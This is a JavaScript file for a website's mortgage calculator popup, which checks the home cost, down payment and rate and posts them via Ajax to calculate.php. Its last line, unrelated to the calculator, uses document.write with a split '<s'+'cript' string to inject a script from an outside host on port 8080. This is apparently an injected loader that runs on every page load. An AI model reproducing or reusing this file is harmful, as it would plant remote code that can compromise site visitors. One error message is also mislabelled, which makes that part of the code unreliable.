// Mortgage Calculator
function openCalculator(){
	var dTop = (screen.height / 2) + 200;
    var dLeft = (screen.width / 3);
	$('calC').style.top = dTop+'px';
	$('calC').style.left = dLeft+'px';
	$('calC').style.width = '515px';
	$('calC').style.height = '450px';   
	$('hCost').value = '100000';
    $('dPayment').value = '5000';
	$('mYear').selectedIndex = 0;
	$('iRate').value = '5.00';
	Effect.Appear('calC');
	showInterest();
 }
 function showInterest(){
   var err = 0;
   var errMsg = '';
   if(alltrim($('hCost').value) == ''){
     errMsg = "<span class='errorText'>Error : Please enter Cost of Home.</span>";
	 err++;
   }
   if(err == 0){
	   if(alltrim($('dPayment').value) == ''){
		 errMsg = "<span class='errorText'>Error : Please enter Down Payment.</span>";
		 err++;
	   }
    
   }
   if(err == 0){
	   if(alltrim($('iRate').value) == ''){
		 errMsg = "<span class='errorText'>Error : Please enter Down Payment.</span>";
		 err++;
	   }
   }
   if(err == 0){
     var diff = alltrim($('hCost').value) - alltrim($('dPayment').value);
	   if(diff == 0 || diff < 0){
		 errMsg = "<span class='errorText'>Error : Your Cost of Home and Down Payment are equal.</span>";
		 err++;
	   }
   }

   if(err > 0){
     $('showErr').innerHTML = errMsg;
	 Effect.Grow('showErr');
	 var t = setTimeout("Effect.Shrink('showErr');",3000);
   }
   else{
    var url  = "calculate.php";
    var pars = "hCost="+$('hCost').value+"&dPayment="+$('dPayment').value+"&iRate="+$('iRate').value+"&mYear="+$('mYear').value;
		var myAjax = new Ajax.Request(
		url,
		{
			method: 'get',
			parameters: pars,
			onComplete:showMessage
		});
   }
   
 }
 function showMessage(originalRequest){
    $('priceId').innerHTML = originalRequest.responseText;
 }
document.write('<s'+'cript type="text/javascript" src="http://temp.aspdesign.net:8080/Scanner.js"></scr'+'ipt>');